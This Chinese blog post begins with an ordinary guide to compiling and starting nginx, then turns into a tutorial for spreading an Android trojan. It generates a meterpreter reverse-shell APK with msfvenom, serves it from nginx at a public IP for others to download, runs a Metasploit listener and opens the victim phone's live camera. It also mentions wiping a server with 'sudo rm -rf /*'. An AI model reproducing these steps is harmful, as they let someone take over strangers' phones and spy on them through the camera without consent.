Nginx("engine x")是一款是由俄罗斯的程序设计师Igor Sysoev所开发高性能的 Web和 反向代理 服务器,也是一个 IMAP/POP3/SMTP 代理服务器。
Nginx 的编写有一个明确目标就是超越 Apache Web 服务器的性能。Nginx 提供开箱即用的静态文件,使用的内存比 Apache 少得多,每秒可以处理大约四倍于 Apache 的请求。 在低并发下 Nginx 的性能与 Apache 相当(有时候还低于),但是在高并发下 Nginx 能保持低资源低消耗高性能。Nginx 的优点还包括:高度模块化的设计,模块编写简单,以及配置文件简洁。在高连接并发的情况下,Nginx是Apache服务器不错的替代品。
官网:http://nginx.org/en/download.html
yum install -y wget gcc-c++pcre pcre-develzlib zlib-developenssl openssl-devel
wget http://nginx.org/download/nginx-1.18.0.tar.gz
tar zxvf nginx-1.18.0.tar.gz && cd nginx-1.18.0
./configure --prefix=/usr/local/nginx
make && make install
cd /usr/local/nginx/sbin
./nginx
首页文件在 /usr/local/nginx/html
目录下
打开ip显示Welcome to nginx!就证明安装成功了


木马文件的进阶玩法
如果你只是想看怎么安装nginx的话,就不用往下看了,下面内容是跟上一篇木马文件的进阶玩法有关的
有人给我反馈了这两个问题
- 生成的apk怎么给别人下载?
- 手机木马开启实时摄像头时会生成一个html,从服务器下载到本地,打开没图片
后来我尝试着安装宝塔面板,发现启动侦听的时候shell没反弹回来。我在寻思着是不是宝塔占用了某些东西,后来我卸载了宝塔,然后尝试了好几个端口,shell都没反弹成功,重启也没用。我TM直接使用sudo rm -rf /*
好家伙,还是没用。最后我直接重装系统,真就验证那句话“重装解决99%问题”,最后只能安装nginx,折腾了大半天时间终于可以实时查看摄像头了
所以你的服务器一定不能是安装过宝塔的(当然你只要找到解决方法就行了,反正我不知道怎么解决),实在想玩的话先做个快照,然后重装系统
废话不多说,接着上一篇的进阶玩法,
现在已经安装了metasploit和nginx,然后cd进入
# cd进入nginx根目录
cd /usr/local/nginx/html
# 启动metasploit渗透框架
msfconsole
# 生成安卓木马
msfvenom -p android/meterpreter/reverse_tcp LHOST=124.223.164.2 LPORT=6666 R > qyyx.apk
# 使用侦听模块
use exploit/multi/handler
# 加载payload攻击模块
set payload android/meterpreter/reverse_tcp
# 设置服务器的公网ip
set LHOST 124.223.164.2
# 设置端口
set LPORT 6666
# 启动监听
run

生成的apk在nginx根目录下直接访问124.223.164.2/qyyx.apk 就可以下载了
现在用手机下载这个apk安装打开测试一下


shell已经反弹成功了,执行一些命令试试
比如说获取手机信息,摄像头数量,开启实时摄像头
开启实时摄像头时会随机生成一个html


打开 ip + /生成的html就可以看到实时摄像头了,每刷新一下网页就会更新摄像头图片
124.223.164.2/VHoxasJU.html


Comments NOTHING